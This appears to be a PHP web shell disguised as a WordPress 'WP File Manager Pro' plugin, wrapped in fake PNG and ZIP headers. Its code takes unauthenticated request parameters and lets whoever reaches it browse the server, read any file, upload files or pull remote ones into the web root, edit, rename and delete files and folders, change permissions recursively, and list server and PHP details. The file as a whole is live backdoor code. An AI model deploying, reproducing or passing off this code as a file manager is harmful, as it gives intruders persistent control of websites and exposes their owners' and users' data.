ðŸ²dfcvðŸ°dd⋉(◠∸ â—)⋊@% PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!PK }X]딓 “ index.phpnu „[µü¤
✦ WP File Manager Pro ✦
'text/html', 'htm' => 'text/html', 'shtml' => 'text/html',
'php' => 'text/x-php', 'css' => 'text/css', 'js' => 'application/javascript',
'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png',
'gif' => 'image/gif', 'bmp' => 'image/bmp', 'webp' => 'image/webp',
'svg' => 'image/svg+xml', 'ico' => 'image/x-icon',
'txt' => 'text/plain', 'log' => 'text/plain', 'xml' => 'application/xml',
'json' => 'application/json', 'sql' => 'text/plain',
'pdf' => 'application/pdf', 'doc' => 'application/msword',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'zip' => 'application/zip', 'rar' => 'application/x-rar-compressed',
'tar' => 'application/x-tar', 'gz' => 'application/gzip',
'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'avi' => 'video/x-msvideo',
'mkv' => 'video/x-matroska', 'exe' => 'application/x-msdownload',
'msi' => 'application/x-msi', 'htaccess' => 'text/plain',
'py' => 'text/x-python', 'rb' => 'text/x-ruby', 'pl' => 'text/x-perl',
'sh' => 'text/x-shellscript', 'bat' => 'text/plain',
];
return isset($map[$ext]) ? $map[$ext] : 'application/octet-stream';
}
// Serve file directly with correct MIME type
if (isset($_GET['serve']) && $_GET['serve'] == '1' && isset($_GET['fileloc'])) {
$file = $_GET['fileloc'];
if (file_exists($file) && is_file($file)) {
$mime = isset($_GET['mime']) ? $_GET['mime'] : getMimeType($file);
header('Content-Type: ' . $mime . '; charset=utf-8');
header('Content-Length: ' . filesize($file));
header('Content-Disposition: inline; filename="' . basename($file) . '"');
readfile($file);
exit;
} else {
http_response_code(404);
echo 'File not found.';
exit;
}
}
// --------------------------------------------
// Core functions
// --------------------------------------------
function author() {
echo '
✨ File Manager Magic ✨
';
exit();
}
function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
return is_writable($lokasi) ?
'
✦ Writable' :
'
✧ Not Writable';
}
function cekroot() {
return is_writable($_SERVER['DOCUMENT_ROOT']) ?
'
✦ Writable' :
'
✧ Not Writable';
}
function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir.'/'.$item;
is_dir($path) ? xrmdir($path) : unlink($path);
}
rmdir($dir);
}
function green($text) {
echo '
✦ ' . $text . '
';
}
function red($text) {
echo '
✧ ' . $text . '
';
}
function yellow($text) {
echo '
✦ ' . $text . '
';
}
function formatSize($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($size >= 1024 && $i < count($units) - 1) {
$size /= 1024;
$i++;
}
return round($size, 2) . ' ' . $units[$i];
}
function getFileIcon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'php' => 'ðŸ˜', 'html' => 'ðŸŒ', 'css' => '🎨', 'js' => '📜',
'jpg' => '🖼ï¸', 'jpeg' => '🖼ï¸', 'png' => '🖼ï¸', 'gif' => '🖼ï¸',
'pdf' => '📄', 'doc' => 'ðŸ“', 'docx' => 'ðŸ“', 'txt' => '📃',
'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦',
'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬',
'exe' => 'âš™ï¸', 'msi' => 'âš™ï¸', 'sql' => '🗄ï¸', 'xml' => '📋',
'json' => '📋', 'log' => '📋', 'htaccess' => 'âš™ï¸'
];
return isset($icons[$ext]) ? $icons[$ext] : '📄';
}
function getPermissionName($perms) {
$names = [
'0644' => 'File (644) - Read/Write for owner, Read for others',
'0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others',
'0640' => 'File (640) - Read/Write for owner, Read for group',
'0664' => 'File (664) - Read/Write for owner and group, Read for others',
'0777' => 'All permissions (777) - Read/Write/Execute for everyone',
'0600' => 'File (600) - Read/Write for owner only',
'0700' => 'Directory (700) - Read/Write/Execute for owner only',
];
return isset($names[$perms]) ? $names[$perms] : 'Custom permission';
}
// Magic CHMOD Interface
function chmodInterface($path, $is_dir = false) {
$current_perms = substr(sprintf('%o', fileperms($path)), -4);
$perms_array = str_split($current_perms);
$html = '
';
// JavaScript for CHMOD
$html .= '';
return $html;
}
// --------------------------------------------
// Server Info
// --------------------------------------------
$disfunc = @ini_get("disable_functions");
$disf = empty($disfunc) ? '
✨ NONE' : '
' . $disfunc . '';
echo '
';
echo '
ðŸ–¥ï¸ Server: ' . $_SERVER['SERVER_SOFTWARE'] . '
';
echo '
💻 System: ' . php_uname() . '
';
echo '
👤 User: ' . @get_current_user() . ' (' . @getmyuid() . ')
';
echo '
😠PHP: ' . @phpversion() . '
';
echo '
🚫 Disabled: ' . $disf . '
';
echo '
';
// --------------------------------------------
// Directory Breadcrumb
// --------------------------------------------
foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}
if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}
$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);
echo '
📂 ';
foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
echo '
/';
continue;
}
if($lok == '') continue;
echo '
' . $lok . '';
}
echo '
';
// --------------------------------------------
// Create File/Folder
// --------------------------------------------
if (isset($_POST['create_action'])) {
if ($_POST['create_action'] == 'file') {
$new_file = $lokasi . '/' . $_POST['new_filename'];
if (file_exists($new_file)) {
red('File already exists! âš¡');
} else {
if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) {
chmod($new_file, 0644);
green('File created successfully!
' . htmlspecialchars($_POST['new_filename']) . ' ✨');
} else {
red('Failed to create file! Check permissions. âš¡');
}
}
} elseif ($_POST['create_action'] == 'folder') {
$new_folder = $lokasi . '/' . $_POST['new_foldername'];
if (file_exists($new_folder)) {
red('Folder already exists! âš¡');
} else {
if (mkdir($new_folder, 0755)) {
green('Folder created successfully!
' . htmlspecialchars($_POST['new_foldername']) . ' ðŸ“');
} else {
red('Failed to create folder! Check permissions. âš¡');
}
}
}
}
// --------------------------------------------
// CHMOD Handling
// --------------------------------------------
if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
$chmod_path = $_POST['path'];
$is_dir = is_dir($chmod_path);
if (isset($_POST['chm0d']) && isset($_POST['perm'])) {
$perm = $_POST['perm'];
$recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1;
if (strlen($perm) == 3 || strlen($perm) == 4) {
$perm = substr($perm, -3);
$perm_octal = octdec($perm);
if ($is_dir && $recursive) {
$success = true;
$count = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if (@chmod($item->getPathname(), $perm_octal)) {
$count++;
} else {
$success = false;
}
}
if ($success) {
green('✨ Permissions changed for
' . $count . ' items to
' . $perm . '');
} else {
yellow('âš ï¸ Permissions changed for ' . $count . ' items, some failed.');
}
} else {
if (@chmod($chmod_path, $perm_octal)) {
green('✨ Permissions changed to
' . $perm . '');
} else {
red('⌠Failed to change permissions');
}
}
} else {
red('⌠Invalid permission format');
}
}
echo chmodInterface($chmod_path, $is_dir);
echo '
↠Back to Directory';
author();
}
// --------------------------------------------
// Upload Handling
// --------------------------------------------
if (isset($_POST['upwkwk'])) {
$upload_dir = $lokasi;
if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") {
$upload_dir = $_SERVER['DOCUMENT_ROOT'];
}
if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) {
$uploaded_file = $_FILES['berkas'];
if ($uploaded_file['error'] !== UPLOAD_ERR_OK) {
$error_messages = [
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file was uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
UPLOAD_ERR_EXTENSION => 'File upload stopped by extension',
];
red('Upload Error: ' . ($error_messages[$uploaded_file['error']] ?? 'Unknown error'));
} else {
if (!is_writable($upload_dir)) {
red('Upload directory is not writable: ' . $upload_dir);
} else {
$filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $uploaded_file['name']);
$destination = $upload_dir . '/' . $filename;
$overwrite_msg = '';
if (file_exists($destination)) {
$old_size = formatSize(filesize($destination));
$new_size = formatSize($uploaded_file['size']);
$overwrite_msg = '
âš ï¸ File exists! Overwriting...
Old: ' . $old_size . ' → New: ' . $new_size;
}
if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) {
chmod($destination, 0644);
green('✅ File uploaded! ' . $overwrite_msg . '
📄
' . htmlspecialchars($filename) . '
📊 ' . formatSize(filesize($destination)));
} else {
red('Failed to move uploaded file.');
}
}
}
} elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) {
if (empty($_POST['namalink'])) {
red('Filename cannot be empty!');
} else {
$remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $_POST['namalink']);
$remote_content = @file_get_contents($_POST['darilink']);
if ($remote_content === false) {
red('Failed to fetch remote file.');
} else {
if (!is_writable($upload_dir)) {
red('Upload directory is not writable.');
} else {
$destination = $upload_dir . '/' . $remote_filename;
$overwrite_msg = '';
if (file_exists($destination)) {
$old_size = formatSize(filesize($destination));
$new_size = formatSize(strlen($remote_content));
$overwrite_msg = '
âš ï¸ File exists! Overwriting...
Old: ' . $old_size . ' → New: ' . $new_size;
}
if (file_put_contents($destination, $remote_content) !== false) {
chmod($destination, 0644);
green('✅ Remote file uploaded! ' . $overwrite_msg . '
📄
' . htmlspecialchars($remote_filename) . '
📊 ' . formatSize(filesize($destination)));
} else {
red('Failed to save remote file.');
}
}
}
}
} else {
red('No file selected.');
}
}
// --------------------------------------------
// Editor
// --------------------------------------------
if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
$file_path = $_POST['path'];
if (isset($_POST['gasedit']) && isset($_POST['src'])) {
$content = $_POST['src'];
$old_content = file_exists($file_path) ? file_get_contents($file_path) : '';
if ($content === $old_content) {
yellow('â„¹ï¸ No changes detected.');
} else {
if (file_put_contents($file_path, $content) !== false) {
green('✅ File saved!
View');
} else {
red('⌠Failed to save!');
}
}
}
$file_content = file_exists($file_path) ? file_get_contents($file_path) : '';
$file_ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$is_binary = in_array($file_ext, ['jpg','jpeg','png','gif','pdf','zip','rar','exe','mp3','mp4']);
echo '
';
author();
}
// --------------------------------------------
// File Viewer (with MIME support)
// --------------------------------------------
if (isset($_GET['fileloc']) && !isset($_GET['serve'])) {
$file_path = $_GET['fileloc'];
echo '
';
author();
}
// --------------------------------------------
// Delete & Rename
// --------------------------------------------
if (isset($_GET['delete'])) {
$delete_file = $_GET['delete'];
if (file_exists($delete_file) && unlink($delete_file)) {
green('ðŸ—‘ï¸ File deleted!');
}
echo '';
author();
}
if (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
file_exists($_POST['path']) ? red('Failed to delete directory!') : green('✅ Directory deleted!');
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
file_exists($_POST['path']) ? red('Failed to delete file!') : green('✅ File deleted!');
}
}
if (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
if (isset($_POST['gantin'])) {
$ren = @rename($_POST['path'], $_POST['newname']);
$ren ? green('✅ Renamed successfully!') : red('⌠Failed to rename!');
}
$namaawal = isset($_POST['newname']) ? $_POST['newname'] : (isset($_POST['name']) ? $_POST['name'] : '');
echo '
';
author();
}
// --------------------------------------------
// Magic Forms (Create & Upload)
// --------------------------------------------
echo '
';
// --------------------------------------------
// File Listing
// --------------------------------------------
echo '
';
echo '';
echo '| 📄 Name | ';
echo '📊 Size | ';
echo '🔒 Perm | ';
echo 'âš¡ Actions | ';
echo '
';
// Directories
foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
echo '';
echo '| 📠' . $dir . ' | ';
echo '-- | ';
echo '' . statusnya($lokasi."/".$dir) . ' | ';
echo '';
echo '';
echo ' | ';
echo '
';
}
// Files
foreach($lokasinya as $file) {
if(!is_file("$lokasi/$file")) continue;
$size = filesize("$lokasi/$file")/1024;
$size = $size >= 1024 ? round($size/1024,2).' MB' : round($size,3).' KB';
echo '';
echo '| ' . getFileIcon($file) . ' ' . $file . ' | ';
echo '' . $size . ' | ';
echo '' . statusnya("$lokasi/$file") . ' | ';
echo '';
echo '';
echo ' | ';
echo '
';
}
echo '
';
// --------------------------------------------
// Status Function
// --------------------------------------------
function statusnya($file){
$statusnya = fileperms($file);
if (($statusnya & 0xC000) == 0xC000) $ingfo = 's';
elseif (($statusnya & 0xA000) == 0xA000) $ingfo = 'l';
elseif (($statusnya & 0x8000) == 0x8000) $ingfo = '-';
elseif (($statusnya & 0x6000) == 0x6000) $ingfo = 'b';
elseif (($statusnya & 0x4000) == 0x4000) $ingfo = 'd';
elseif (($statusnya & 0x2000) == 0x2000) $ingfo = 'c';
elseif (($statusnya & 0x1000) == 0x1000) $ingfo = 'p';
else $ingfo = 'u';
// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-'));
// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-'));
// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-'));
$color = is_writable($file) ? '#7ad03a' : '#dc3232';
return '
' . $ingfo . '';
}
echo '
✨ File Manager Magic ✨
';
?>
PK }X]Þ¨•sZ Z ext4b8905/.htaccessnu „[µü¤